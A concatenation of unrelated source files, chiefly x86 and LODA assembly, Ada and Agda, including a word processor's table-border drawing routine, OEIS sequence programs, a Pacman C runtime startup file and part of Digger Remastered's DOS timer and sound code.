+ dxLToW; mov cx,[tcx.xpDrRightTcx] add cx,[tcx.dxpOutRightTcx] add cx,[dxLToW] ; PrcSet(&rcDraw, xwT, ywTop, ; xwT + dxpPenBrc, ywTop + dylDrRow); ; SectRc(&rcDraw, &rcwClip, &rcDraw); ; FillRect(hdc, (LPRECT)&rcDraw, hbrPenBrc); push cx mov ax,[ywTop] push ax add cx,[dxpPenBrc] push cx add ax,[dylDrRow] push ax call LN_SetSectAndFillRect ; #endif ; itc = itcNext; ; itcNext = ItcGetTcxCache ( ww, doc, cp, &vtapFetch, itc, &tcx); mov cx,[itcNext] call LN_ItcGetTcxCache jmp LInsideLoop ; } FET130: ; LTopBorder: ; Assert(itcNext == itcMac); ifdef DEBUG push ax push bx push cx push dx mov ax,[itcNext] cmp ax,[itcMac] je FET140 mov ax,midDisptbn2 mov bx,3414 ; assert line number cCall AssertProcForNative,<ax,bx> FET140: pop dx pop cx pop bx pop ax endif ;DEBUG ; xwRight = tcx.xpDrRight + tcx.dxpOutRight + dxLToW; mov ax,[tcx.xpDrRightTcx] add ax,[tcx.dxpOutRightTcx] add ax,[dxLToW] mov [xwRight],ax ; /* top */ ; if (brcCur != brcNone || brcCur != vtcc.rgbrcEasy[ibrcTop]) ; SetPenForBrc(ww, brcCur = vtcc.rgbrcEasy[ibrcTop], fTrue/*fHoriz*/, fFrameLines); errnz <ibrcTop> xor bx,bx call LN_ChkSetPenBrcH ; if (dywBrcTop > 0) mov cx,[dywBrcTop] jcxz FET150 ; { ; #ifdef MAC ; MoveTo(xwLeft, dyLToW); ; LineTo(xwRight + dxwBrcRight - 1, dyLToW); ; #else /* WIN */ ; PrcSet(&rcDraw, xwLeft, dyLToW, ; xwRight + dxwBrcRight, dyLToW + dypPenBrc); ; SectRc(&rcDraw, &rcwClip, &rcDraw); ; FillRect(hdc, (LPRECT)&rcDraw, hbrPenBrc); push [xwLeft] mov ax,[dyLToW] push ax mov cx,[xwRight] add cx,[dxwBrcRight] push cx add ax,[dypPenBrc] push ax call LN_SetSectAndFillRect ; #endif ; } FET150: ; /* right */ ; if (brcCur != brcNone || brcCur != vtcc.rgbrcEasy[ibrcRight]) ; SetPenForBrc(ww, brcCur = vtcc.rgbrcEasy[ibrcRight], fFalse/*fHoriz*/, fFrameLines); mov bx,ibrcRight SHL 1 call LN_ChkSetPenBrcV ; #ifdef MAC ; MoveTo(xwRight, ywTop); ; Line(0, dylDrRowM1); ; #else /* WIN */ ; PrcSet(&rcDraw, xwRight, ywTop, ; xwRight + dxwBrcRight, ywTop + dylDrRow); ; SectRc(&rcDraw, &rcwClip, &rcDraw); ; FillRect(hdc, (LPRECT)&rcDraw, hbrPenBrc); mov ax,[xwRight] push ax mov cx,[ywTop] push cx add ax,[dxwBrcRight] push ax add cx,[dylDrRow] push cx call LN_SetSectAndFillRect ; #endif ; /* bottom */ ; if (dywBrcBottom > 0) mov cx,[dywBrcBottom] jcxz FET165 ; { ; Assert(fLastRow); ;PAUSE ifdef DEBUG push ax push bx push cx push dx cmp [fLastRow],0 jnz FET160 mov ax,midDisptbn2 mov bx,3568 ; assert line number cCall AssertProcForNative,<ax,bx> FET160: pop dx pop cx pop bx pop ax endif ;DEBUG ; if (brcCur != brcNone || brcCur != vtcc.rgbrcEasy[ibrcBottom]) ; SetPenForBrc(ww, brcCur = vtcc.rgbrcEasy[ibrcBottom], fTrue/*fHoriz*/, fFrameLines); mov bx,ibrcBottom SHL 1 call LN_ChkSetPenBrcH ; #ifdef MAC ; MoveTo(xwLeft, dyLToW + dyl - dywBrcBottom); ; Line(xwRight + dxwBrcRight - xwLeft - 1, 0); ; #else /* WIN */ ; ywT = dyLToW + dyl - dywBrcBottom; mov cx,[dyLToW] add cx,[dyl] sub cx,[dywBrcBottom] ; PrcSet(&rcDraw, xwLeft, ywT, ; xwRight + dxwBrcRight, ywT + dypPenBrc); ; SectRc(&rcDraw, &rcwClip, &rcDraw); ; FillRect(hdc, (LPRECT)&rcDraw, hbrPenBrc); push [xwLeft] push cx mov ax,[xwRight] add ax,[dxwBrcRight] push ax add cx,[dypPenBrc] push cx call LN_SetSectAndFillRect ; #endif ; } FET165: ; /* clear any space above or below the fTtp DR */ ; pdr = PdrFetchAndFree(hpldr, itcMac, &drf); push [hpldr] push [itcMac] lea ax,[drf] push ax ifdef DEBUG cCall S_PdrFetchAndFree,<> else cCall N_PdrFetchAndFree,<> endif xchg ax,si ; DrcToRc(&pdr->drcl, &rclErase); lea di,[rclErase] errnz <drclDr> push si push di cCall DrcToRc,<> ; native note: the following lines have been rearranged ; for more hard core native trickery... ; di = &rclErase push ds pop es ; rclErase.xlLeft -= pdr->dxpOutLeft; errnz <xlLeftRc> mov ax,[di] sub ax,[si.dxpOutLeftDr] stosw ; if (fFrameLines && rclErase.ylTop == 0) ; rclErase.ylTop = dyFrameLine; errnz <ylDr-2-xlDr> mov ax,[di] mov cx,[fFrameLines] jcxz FET170 or ax,ax jnz FET170 ; #define dyFrameLine dypBorderFti ; #define dypBorderFti vfti.dypBorder mov ax,[vfti.dypBorderFti] FET170: stosw xchg ax,cx ; save rclErase.ylTop ; rclErase.xlRight += pdr->dxpOutRight; errnz <xlRightRc-2-ylDr> mov ax,[di] add ax,[si.dxpOutRightDr] stosw ; if (rclErase.ylTop > 0) ; cx = rclErase.ylTop jcxz FET180 ; { ; rclErase.ylBottom = rclErase.ylTop; mov ax,[rclErase.ylTopRc] mov [rclErase.ylBottomRc],ax ; rclErase.ylTop = 0; sub [rclErase.ylTopRc],ax ; ClearRclInParentDr(ww,hpldr,rclErase,&rcwClip); call LN_ClearRcl ; rclErase.ylBottom += pdr->drcl.dyl; mov ax,[si.drclDr.dylDrc] add [rclErase.ylBottomRc],ax ; } FET180: ; if (rclErase.ylBottom < dyl) mov cx,[dyl] cmp cx,[rclErase.ylBottomRc] jle FET190 ; { ; rclErase.ylTop = rclErase.ylBottom; ;PAUSE ; cx = dyl mov ax,[rclErase.ylBottomRc] mov [rclErase.ylTopRc],ax ; rclErase.ylBottom = dyl; ; cx = dyl mov [rclErase.ylBottomRc],cx ; ClearRclInParentDr(ww,hpldr,rclErase,&rcwClip); call LN_ClearRcl ; } FET190: ;PAUSE mov di,[prclDrawn] push ds pop es ; prclDrawn->xlLeft = xwLeft - dxLToW; mov ax,[xwLeft] sub ax,[dxLToW] stosw ; prclDrawn->ylTop = 0; xor ax,ax stosw ; prclDrawn->xlRight = rclErase.xlRight; mov ax,[rclErase.xlRightRc] stosw ; prclDrawn->ylBottom = dywBrcTop; mov ax,[dywBrcTop] stosw ; /* erase bits to the right of the PLDR */ ; native note: more rearranging... lea di,[rclErase] push ds pop es ; rclErase.xlLeft = rclErase.xlRight; errnz <xlLeftRc> mov ax,[di.xlRightRc-(xlLeftRc)] stosw ; rclErase.ylTop = 0; errnz <ylTopRc-2-xlLeftRc> xor ax,ax stosw ; rclErase.xlRight = pdrParent->dxl + pdrParent->dxpOutRight; errnz <xlRightRc-2-ylTopRc> mov bx,pdrParent mov ax,[bx.dxlDr] add ax,[bx.dxpOutRightDr] stosw ; rclErase.ylBottom = dyl; errnz <ylBottomRc-2-xlRightRc> mov ax,[dyl] stosw ; if (!FEmptyRc(&rclErase)) ; ClearRclInParentDr(ww,hpldr,rclErase,&rcwClip); call LN_ClearRclIfNotMT ; } cEnd ; Some utility routines for FrameEasyTable... ; LN_ClearRclIfNotMT Does: ; if (!FEmptyRc(&rclErase)) ; ClearRclInParentDr(ww,hpldr,rclErase,&rcwClip); LN_ClearRclIfNotMT: ;PAUSE lea ax,[rclErase] push ax cCall FEmptyRc,<> or ax,ax jnz FED1000 LN_ClearRcl: ;PAUSE push [ww] push [hpldr] push [rclErase.ylBottomRc] push [rclErase.xlRightRc] push [rclErase.YwTopRc] push [rclErase.xwLeftRc] lea ax,[rcwClip] push ax cCall ClearRclInParentDr,<> FED1000: ret ; LN_DxFromIbrc Does: ; DxFromBrc(*(int*)(si + rgbrcEasyTcc + bx), fTrue/*fFrameLines*/) ; Upon Entry: bx = ibrc, di = &vtcc.rgbrcEasy ; Upon Exit: ax = DxFromBrc(vtcc.rgbrcEasy[ibrcInside],fTrue/*fFrameLines*/); LN_DxFromIbrc: ; #define DxFromBrc(brc, fFrameLines) DxyFromBrc(brc, fFrameLines, fTrue) ; #define DxyFromBrc(brc, fFrameLines, fWidth) \ ; WidthHeightFromBrc(brc, fFrameLines | (fWidth << 1)) push [bx.si.rgbrcEasyTcc] mov ax,3 push ax ifdef DEBUG cCall S_WidthHeightFromBrc,<> else cCall N_WidthHeightFromBrc,<> endif ret ; %%Function:ItcGetTcxCache %%Owner:tomsax ; LN_ItcGetTcxCache does three things: ; itc = cx; ; ax = ItcGetTcxCache ( ww, doc, cp, &vtapFetch, itc, &tcx); ; itcNext = ax LN_ItcGetTcxCache: ;PAUSE mov [itc],cx push [ww] push [doc] push [SEG_cp] push [OFF_cp] mov ax,dataoffset [vtapFetch] push ax push cx lea ax,[tcx] push ax ifdef DEBUG cCall S_ItcGetTcxCache else cCall N_ItcGetTcxCache endif mov [itcNext],ax ret ; Upon entry: who cares, apart from FrameEasyTable's stack frame... ; Upon exit: bx = PwwdWw([ww]), + the usual registers trashed... LN_PwwdWwFET: ;PAUSE push [ww] cCall N_PwwdWw,<> xchg ax,bx ret ; PrcSet(&rcDraw, xwLeft, ywTop, ; xwLeft + dxpPenBrc, ywTop + dylDrRow); ; SectRc(&rcDraw, &rcwClip, &rcDraw); ; FillRect(hdc, (LPRECT)&rcDraw, hbrPenBrc); LN_SetSectAndFillRect: ;PAUSE db 0A8h ;turns next "stc" into "test al,immediate" ;also clears the carry flag LN_SetAndFillRect: stc ;PAUSE ; native note: blt from the stack into rcwDraw. pop bx ; save the return address mov dx,di ; save current di push ds pop es std ; blt backwards errnz <xwLeftRc> errnz <ywTopRc-2-xwLeftRc> errnz <xwRightRc-2-ywTopRc> errnz <ywBottomRc-2-xwRightRc> errnz <ywBottomRc+2-cbRcMin> lea di,[rcDraw.ywBottomRc] pop ax stosw pop ax stosw pop ax stosw pop ax stosw cld ; clear the direction flag push bx ; restore the return address push dx ; save original di value lea di,[di+2] ; doesn't affect condition flags jc FET1100 ; use that bit set above push di lea ax,[rcwClip] push ax push di ; #define SectRc(prc1,prc2,prcDest) FSectRc(prc1,prc2,prcDest) cCall FSectRc,<> FET1100: ; bx = &rcDraw push [hdc] push ds push di push [hbrPenBrc] cCall FillRect,<> pop di ; restore original di ret ; %%Function:SetPenForBrc %%Owner:tomsax ; NATIVE SetPenForBrc(ww, brc, fHoriz, fFrameLines) ; int ww; ; int brc; ; BOOL fHoriz, fFrameLines; ; { ; extern HBRUSH vhbrGray; ; Upon Entry: bx = ibrc*2 (ignored by SetPenBrcVNone) ;LN_ChkSetPenBrcH Does: ; if (brcCur != brcNone || brcCur != vtcc.rgbrcEasy[bx/2/*ibrc*/]) ; SetPenForBrc(ww, brcCur = vtcc.rgbrcEasy[ibrcInside], fTrue/*fHoriz*/, fFrameLines); ;LN_ChkSetPenBrcV Does: ; if (brcCur != brcNone || brcCur != vtcc.rgbrcEasy[bx/2/*ibrc*/]) ; SetPenForBrc(ww, brcCur = vtcc.rgbrcEasy[ibrcInside], fFalse/*fHoriz*/, fFrameLines); ;LN_SetPenBrcV Does: ; SetPenForBrc(ww, brcCur = vtcc.rgbrcEasy[ax/2], fFalse/*fHoriz*/, fFrameLines) ;LN_SetPenBrcVNone Does: ; SetPenForBrc(ww, brcCur = brcNone, fFalse/*fHoriz*/, fFrameLines) LN_ChkSetPenBrcH: ;PAUSE db 0B8h ;this combines with the next opcode ; to become B8C031 = mov ax,c031 LN_ChkSetPenBrcV: xor ax,ax ; don't alter this opcode, see note above ;PAUSE ; si = &vtcc, bx = ibrcInside * 2 mov cx,[bx.vtcc.rgbrcEasyTcc] cmp cx,[brcCur] jne FET1200 errnz <brcNone> jcxz FET1250 ; jump to rts jmp short FET1200 LN_SetPenBrcV: xor ax,ax ;PAUSE mov cx,[bx.vtcc.rgbrcEasyTcc] db 03Dh ; this combines with the next opcode ; to become 3D33C9 = cmp ax,C933 LN_SetPenBrcVNone: errnz <brcNone> xor cx,cx ; don't alter this opcode, see note above ; NOTE: fHoriz doesn't get used if brc==brcNone, ; therefore it is OK to leave it uninitialized... ;PAUSE FET1200: ; cx = brc, ax = fHoriz (not restricted to 0,1 values) ; brcCur = whatever was passed for the new brc; mov [brcCur],cx ; switch (brc) ; { jcxz LBrcNone cmp cx,brcDotted je LBrcDotted ; default: ; Assert(fFalse); ifdef DEBUG push ax push bx push cx push dx cmp cx,brcSingle je FET1210 cmp cx,brcHairline je FET1210 cmp cx,brcThick je FET1210 mov ax,midDisptbn2 mov bx,3881 ; assert line number cCall AssertProcForNative,<ax,bx> FET1210: pop dx pop cx pop bx pop ax endif ;DEBUG ; case brcSingle: ; case brcHairline: ; case brcThick: ; hbrPenBrc = vsci.hbrText; mov bx,[vsci.hbrTextSci] jmp short FET1220 ; break; ; case brcNone: LBrcNone: ; if (!fFrameLines) ; { ; hbrPenBrc = vsci.hbrBkgrnd; ; break; ; } mov bx,[vsci.hbrBkgrndSci] cmp [fFrameLines],0 jz FET1220 ; /* else fall through */ ; case brcDotted: ; hbrPenBrc = vhbrGray; LBrcDotted: mov bx,[vhbrGray] ; break; ; } FET1220: mov [hbrPenBrc],bx ; cx = brc, ax = fHoriz (not restricted to 0,1 values) ; dxpPenBrc = dxpBorderFti; mov dx,[vsci.dxpBorderSci] mov [dxpPenBrc],dx ; dypPenBrc = dypBorderFti; mov dx,[vsci.dypBorderSci] mov [dypPenBrc],dx ; cx = brc, ax = fHoriz (not restricted to 0,1 values) ; if (brc == brcThick) cmp cx,brcThick jne FET1250 ; { ; if (fHoriz) ;PAUSE xchg ax,cx jcxz FET1240 ; dypPenBrc = 2 * dypBorderFti; sal [dypPenBrc],1 jmp short FET1250 ; else FET1240: ; dxpPenBrc = 2 * dxpBorderFti; sal [dxpPenBrc],1 ; } FET1250: ret ; } sEnd fetchtbn end
programs/oeis/033/A033067.asm
karttu/loda
1
1946
<filename>programs/oeis/033/A033067.asm ; A033067: Numbers whose base-16 representation Sum_{i=0..m} d(i)*16^i has odd d(i) for all odd i. ; 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,17,19,21,23,25,27,29,31,33,35,37,39,41,43,45,47,49,51,53,55,57,59,61,63,65,67,69,71,73,75,77,79,81,83,85,87,89,91,93,95,97,99,101,103,105,107,109 mov $1,$0 trn $0,14 add $1,$0 add $1,1
konz/konz2/swap/swap.ads
balintsoos/LearnAda
0
3079
<filename>konz/konz2/swap/swap.ads procedure swap(a: in out integer; b: in out integer);
test/Succeed/RewritingNat.agda
redfish64/autonomic-agda
0
9970
<reponame>redfish64/autonomic-agda {-# OPTIONS --rewriting #-} module RewritingNat where open import Common.Equality {-# BUILTIN REWRITE _≡_ #-} data Nat : Set where zero : Nat suc : Nat → Nat _+_ : Nat → Nat → Nat zero + n = n (suc m) + n = suc (m + n) plus0T : Set plus0T = ∀{x} → (x + zero) ≡ x plusSucT : Set plusSucT = ∀{x y} → (x + (suc y)) ≡ suc (x + y) postulate plus0p : plus0T {-# REWRITE plus0p #-} plusSucp : plusSucT {-# REWRITE plusSucp #-} plus0 : plus0T plus0 = refl data Vec (A : Set) : Nat → Set where [] : Vec A zero _∷_ : ∀ {n} (x : A) (xs : Vec A n) → Vec A (suc n) reverseAcc : ∀{A n m} → Vec A n → Vec A m → Vec A (n + m) reverseAcc [] acc = acc reverseAcc (x ∷ xs) acc = reverseAcc xs (x ∷ acc)
Ada/DataStructures/List/int_list.adb
egustafson/sandbox
2
27368
<reponame>egustafson/sandbox<filename>Ada/DataStructures/List/int_list.adb with Generic_List; procedure Int_List is Number : Integer; begin for I in 1 .. 100000000 loop Number := I; end loop; end Int_List;
src/common/sp-filters.adb
jquorning/septum
236
23103
<filename>src/common/sp-filters.adb ------------------------------------------------------------------------------- -- Copyright 2021, The Septum Developers (see AUTHORS file) -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- http://www.apache.org/licenses/LICENSE-2.0 -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ------------------------------------------------------------------------------- with Ada.Characters.Latin_1; with Ada.Strings.Fixed; with Ada.Strings.Maps.Constants; package body SP.Filters is use Ada.Strings.Unbounded; function To_Upper_Case (Text : String) return String is use Ada.Strings.Maps; begin return Ada.Strings.Fixed.Translate (Text, Constants.Upper_Case_Map); end To_Upper_Case; function Find_Text (Text : String) return Filter_Ptr is begin return Pointers.Make (new Case_Sensitive_Match_Filter' (Action => Keep, Text => To_Unbounded_String (Text))); end Find_Text; function Exclude_Text (Text : String) return Filter_Ptr is begin return Pointers.Make (new Case_Sensitive_Match_Filter' (Action => Exclude, Text => To_Unbounded_String (Text))); end Exclude_Text; function Find_Like (Text : String) return Filter_Ptr is begin return Pointers.Make (new Case_Insensitive_Match_Filter' ( Action => Keep, Text => To_Unbounded_String (To_Upper_Case (Text)))); end Find_Like; function Exclude_Like (Text : String) return Filter_Ptr is begin return Pointers.Make (new Case_Insensitive_Match_Filter' ( Action => Exclude, Text => To_Unbounded_String (To_Upper_Case (Text)))); end Exclude_Like; function Find_Regex (Text : String) return Filter_Ptr is Matcher : Rc_Regex.Arc; begin Matcher := Rc_Regex.Make (new GNAT.Regpat.Pattern_Matcher'(GNAT.Regpat.Compile (Text))); return Pointers.Make (new Regex_Filter' (Action => Keep, Source => To_Unbounded_String(Text), Regex => Matcher)); exception -- Unable to compile the regular expression. when GNAT.Regpat.Expression_Error => return Pointers.Make_Null; end Find_Regex; function Exclude_Regex (Text : String) return Filter_Ptr is Matcher : Rc_Regex.Arc; begin Matcher := Rc_Regex.Make (new GNAT.Regpat.Pattern_Matcher'(GNAT.Regpat.Compile (Text))); return Pointers.Make (new Regex_Filter' (Action => Exclude, Source => To_Unbounded_String(Text), Regex => Matcher)); exception -- Unable to compile the regular expression. when GNAT.Regpat.Expression_Error => return Pointers.Make_Null; end Exclude_Regex; ---------------------------------------------------------------------------- function Is_Valid_Regex (S : String) return Boolean is begin declare Matcher : constant GNAT.Regpat.Pattern_Matcher := GNAT.Regpat.Compile (S); begin pragma Unreferenced (Matcher); null; end; return True; exception when GNAT.Regpat.Expression_Error => return False; end Is_Valid_Regex; ---------------------------------------------------------------------------- overriding function Image (F : Case_Sensitive_Match_Filter) return String is use Ada.Characters; begin return "Case Sensitive Match " & Latin_1.Quotation & To_String (F.Text) & Latin_1.Quotation; end Image; overriding function Matches_Line (F : Case_Sensitive_Match_Filter; Str : String) return Boolean is begin return Ada.Strings.Fixed.Index (Str, To_String (F.Text)) > 0; end Matches_Line; ---------------------------------------------------------------------------- overriding function Image (F : Case_Insensitive_Match_Filter) return String is use Ada.Characters; begin return "Case Insensitive Match " & Latin_1.Quotation & To_String (F.Text) & Latin_1.Quotation; end Image; overriding function Matches_Line (F : Case_Insensitive_Match_Filter; Str : String) return Boolean is Upper_Cased : constant String := To_Upper_Case (Str); begin return Ada.Strings.Fixed.Index (Upper_Cased, To_String (F.Text)) > 0; end Matches_Line; ---------------------------------------------------------------------------- overriding function Image (F : Regex_Filter) return String is begin return "Regex " & Ada.Strings.Unbounded.To_String (F.Source); end Image; overriding function Matches_Line (F : Regex_Filter; Str : String) return Boolean is begin return GNAT.Regpat.Match (F.Regex.Get, Str); end Matches_Line; ---------------------------------------------------------------------------- function Matches_File (F : Filter'Class; Lines : String_Vectors.Vector) return Boolean is Match : constant Boolean := (for some Line of Lines => Matches_Line (F, To_String (Line))); begin case F.Action is when Keep => return Match; when Exclude => return not Match; end case; end Matches_File; ---------------------------------------------------------------------------- function Matching_Lines (F : Filter'Class; Lines : String_Vectors.Vector) return SP.Contexts.Line_Matches.Set is Line_Num : Integer := 1; begin return L : SP.Contexts.Line_Matches.Set do for Line of Lines loop if Matches_Line (F, To_String (Line)) then L.Insert (Line_Num); end if; Line_Num := Line_Num + 1; end loop; end return; end Matching_Lines; end SP.Filters;
lib/target/pacman/classic/pacman_crt0.asm
jpoikela/z88dk
38
23825
<filename>lib/target/pacman/classic/pacman_crt0.asm ; Startup Code for pacman machine ; ; <NAME> 2012 ; ; -startup=2 --> provide an IRQ handler (now required for the Tetris game) ; ; $Id:$ ; DEFC ROM_Start = $0000 DEFC INT_Start = $0038 DEFC NMI_Start = $0066 DEFC CODE_Start = $0100 DEFC VRAM_Start = $4000 DEFC VRAM_Length= $0400 DEFC CRAM_Start = $4400 DEFC CRAM_Length= $0400 DEFC RAM_Start = $4C00 DEFC RAM_Length = $0400 DEFC Stack_Top = $4ff0 DEFC irqen = $5000 DEFC snden = $5001 DEFC watchdog= $50c0 MODULE pacman_crt0 ;------- ; Include zcc_opt.def to find out information about us ;------- defc crt0 = 1 INCLUDE "zcc_opt.def" ;------- ; Some general scope declarations ;------- EXTERN _main ;main() is always external to crt0 code IF (startup=2) EXTERN _irq_handler ;Interrupt handlers ENDIF PUBLIC cleanup PUBLIC l_dcal ;jp(hl) IF !DEFINED_CRT_ORG_BSS defc CRT_ORG_BSS = RAM_Start ; Static variables are kept in RAM defc DEFINED_CRT_ORG_BSS = 1 ENDIF defc TAR__register_sp = -1 defc TAR__clib_exit_stack_size = 4 defc __crt_org_bss = CRT_ORG_BSS PUBLIC __CPU_CLOCK defc __CPU_CLOCK = 2000000 INCLUDE "crt/classic/crt_rules.inc" org ROM_Start ; reset di ld sp,Stack_Top ; setup stack call crt0_init_bss jp start ; jump to start ; IRQ code starts at location $0038, (56 decimal). defs INT_Start-ASMPC di ; disable processor interrupts push af push bc push de push hl ld hl,(FRAMES) inc hl ld (FRAMES),hl ld a,h or l jr nz,irq_hndl ld hl,(FRAMES+2) inc hl ld (FRAMES+2),hl irq_hndl: IF (startup=2) call _irq_handler ENDIF xor a ; reset watchdog timer ld hl,watchdog ld (hl),a pop hl pop de pop bc pop af ei ; enable processor interrupts reti ; return from interrupt routine defs NMI_Start-ASMPC ; nmi retn start: ld a,$ff ; set up the interrupt vector (0x38) out (0),a ld a, 1 ; fill register 'a' with 0x01 ld (irqen), a ; enable the external interrupt mechanism xor a ; reset watchdog timer ld hl,watchdog ld (hl),a ; Clear static memory ;ld hl,RAM_Start ;ld de,RAM_Start+1 ;ld bc,RAM_Length-1 ;ld (hl),0 ;ldir ; enable interrupts im 1 ei ; Entry to the user code call _main cleanup: endloop: jr endloop l_dcal: jp (hl) ; If we were given a model then use it IF DEFINED_CRT_MODEL defc __crt_model = CRT_MODEL ELSE defc __crt_model = 1 ENDIF INCLUDE "crt/classic/crt_runtime_selection.asm" INCLUDE "crt/classic/crt_section.asm" SECTION bss_crt PUBLIC FRAMES FRAMES: defw 0 ; 4 bytes timer counter defw 0 SECTION code_crt_init ld hl,$4000 ld (base_graphics),hl
programs/oeis/036/A036562.asm
jmorken/loda
1
14478
<filename>programs/oeis/036/A036562.asm ; A036562: a(n) = 4^(n+1) + 3*2^n + 1. ; 1,8,23,77,281,1073,4193,16577,65921,262913,1050113,4197377,16783361,67121153,268460033,1073790977,4295065601,17180065793,68719869953,274878693377,1099513200641,4398049656833,17592192335873,70368756760577,281475001876481,1125899957174273,4503599728033793 mov $5,7 lpb $0 trn $1,5 mov $6,$1 add $6,10 add $1,$6 mov $3,$1 add $3,7 mov $4,$0 add $4,$0 sub $0,1 mul $3,2 lpe mov $2,$3 sub $2,$4 div $5,2 add $5,$2 mul $1,$5 div $1,50 add $1,1
src/bb_pico_bsp-keyboard.ads
Fabien-Chouteau/bb_pico_bsp
0
1303
with HAL; with BBQ10KBD; package BB_Pico_Bsp.Keyboard is function Key_FIFO_Pop return BBQ10KBD.Key_State; -- When the FIFO is empty a Key_State with Kind = Error is returned function Status return BBQ10KBD.KBD_Status; procedure Set_Backlight (Lvl : HAL.UInt8); function Version return HAL.UInt8; KEY_JOY_UP : constant HAL.UInt8 := 16#01#; KEY_JOY_DOWN : constant HAL.UInt8 := 16#02#; KEY_JOY_LEFT : constant HAL.UInt8 := 16#03#; KEY_JOY_RIGHT : constant HAL.UInt8 := 16#04#; KEY_JOY_CENTER : constant HAL.UInt8 := 16#05#; KEY_BTN_LEFT1 : constant HAL.UInt8 := 16#06#; KEY_BTN_RIGHT1 : constant HAL.UInt8 := 16#07#; KEY_BTN_LEFT2 : constant HAL.UInt8 := 16#11#; KEY_BTN_RIGHT2 : constant HAL.UInt8 := 16#12#; end BB_Pico_Bsp.Keyboard;
programs/oeis/237/A237274.asm
neoneye/loda
22
3702
; A237274: a(n) = A236283(n) mod 9. ; 2,1,4,5,1,4,2,7,7,5,7,7,2,4,1,5,4,1,2,1,4,5,1,4,2,7,7,5,7,7,2,4,1,5,4,1,2,1,4,5,1,4,2,7,7,5,7,7,2,4,1,5,4,1,2,1,4,5,1,4,2,7,7,5,7,7,2,4,1,5,4,1 pow $0,2 mov $2,3 add $2,$0 mov $0,-1 sub $2,1 pow $0,$2 add $0,2 mov $3,$2 div $3,2 add $0,$3 add $0,$3 mod $0,18 sub $0,3 div $0,2 add $0,1
digger/dospc.asm
pdpdds/DOSDev
92
241997
; Digger Remastered ; Copyright (c) <NAME> 1998-2004 PUBLIC _olddelay,_getkips,_inittimer,_gethrt,_getlrt PUBLIC _s0initint8,_s0restoreint8,_s0soundoff,_s0setspkrt2,_s0settimer0 PUBLIC _s0timer0,_s0settimer2,_s0timer2,_s0soundinitglob,_s0soundkillglob PUBLIC _s1initint8,_s1restoreint8,_setsounddevice,_initsounddevice PUBLIC _killsounddevice PUBLIC _initkeyb,_restorekeyb,_getkey,_kbhit PUBLIC _graphicsoff,_gretrace PUBLIC _cgainit,_cgaclear,_cgapal,_cgainten,_cgaputi,_cgageti,_cgaputim PUBLIC _cgawrite,_cgagetpix,_cgawrite,_cgatitle PUBLIC _vgainit,_vgaclear,_vgapal,_vgainten,_vgaputi,_vgageti,_vgaputim PUBLIC _vgawrite,_vgagetpix,_vgawrite,_vgatitle _TEXT SEGMENT WORD PUBLIC 'CODE' ;Timing routines _olddelay: PUSH BP SUB SP,6 MOV BP,SP PUSH CX MOV CX,W[_volume] delay0ltop: MOV W[BP+2],0 o24a: MOV AX,W[BP+2] CMP AX,W[BP+0a] JGE o267 MOV W[BP+4],0 o257: CMP W[BP+4],064 JGE o262 INC W[BP+4] JMP o257 o262: INC W[BP+2] JMP o24a o267: LOOP delay0ltop POP CX ADD SP,6 POP BP RET _getkips: PUSH ES PUSH SI MOV AX,040 MOV ES,AX XOR AX,AX XOR DX,DX ES: MOV SI,W[06c] zerotime: ES: CMP SI,W[06c] JZ zerotime ES: MOV SI,W[06c] getkloop: CALL timekips ES: CMP SI,W[06c] JNZ donetime INC AX JNZ getkloop INC DX JMP getkloop donetime: POP SI POP ES RET timekips: PUSH AX PUSH DX PUSH SI MOV BX,0 MOV SI,0 DW 0a0f7,0 DW 09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0 DW 09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0 DW 09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0 DW 09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0,09801,0 DW 09801,0,09801,0,09801,0,09801,0 POP SI POP DX POP AX RET _inittimer: XOR AX,AX MOV W[_hrt],AX MOV W[_hrt+2],AX RET _gethrt: PUSH SI PUSH DI LEA SI,W[_hrt] LEA DI,W[_hrt+2] retryhrt: MOV AL,4 ;Latch counter 0 value CLI OUT 043,AL MOV BX,W[SI] ;Ideally, these four instructions would be executed MOV DX,W[DI] ;simultaneously - no time for an interrupt. MOV CX,W[countval] ; NB they probably are on heavily pipelined processors. IN AL,040 MOV AH,AL IN AL,040 STI XCHG AL,AH SUB CX,AX MOV AX,CX CMP AX,020 JB retryhrt ADD AX,BX ADC DX,0 POP DI POP SI RET _getlrt: PUSH ES MOV AX,040 MOV ES,AX ES: MOV AX,W[06c] ES: MOV DX,W[06e] POP ES RET ; New sound routines _s1initint8: PUSH DI MOV AX,DS CS: MOV W[dssave8],AX PUSH DS MOV AX,0 MOV DS,AX MOV DI,020 MOV AX,W[DI] MOV BX,W[DI+2] CS: MOV W[int8save],AX CS: MOV W[int8save+2],BX MOV CX,offset interrupt8v2 MOV DX,CS CLI MOV W[DI],CX MOV W[DI+2],DX STI XOR AX,AX PUSH AX CALL _s0settimer0 POP AX POP DS POP DI RET interrupt8v2: PUSH AX PUSH BX PUSH CX PUSH DX PUSH DS PUSH ES CS: MOV AX,W[dssave8] MOV DS,AX MOV ES,AX CALL W[_fillbuffer] MOV AX,W[countval] DEC AX XOR DX,DX ADD AX,1 ADC DX,0 ADD W[_hrt],AX ADC W[_hrt+2],DX MOV BX,W[newcount] MOV W[countval],BX POP ES POP DS POP DX POP CX POP BX POP AX CS: JMP D[int8save] _setsounddevice: PUSH BP MOV BP,SP MOV AX,W[BP+4] ;Port (0210, 0220, 0230, 0240, 0250 or 0260) MOV W[sbport],AX MOV W[irqport],021 MOV AX,W[BP+6] ;IRQ (2, 3, 5, or 7) ADD AX,8 CMP AX,010 JL lowirq ADD AX,060 MOV W[irqport],0a1 lowirq: MOV W[sbint],AX MOV AX,W[BP+8] ;DMA channel (0, 1 or 3) SHL AX,1 MOV W[sbdma],AX MOV BX,W[BP+0a] ;Transfer frequency in Hz MOV DX,0f MOV AX,04240 DIV BX MOV DX,256 SUB DX,AX MOV W[sbfrq],DX MOV AX,W[BP+0c] ;Length in bytes MOV 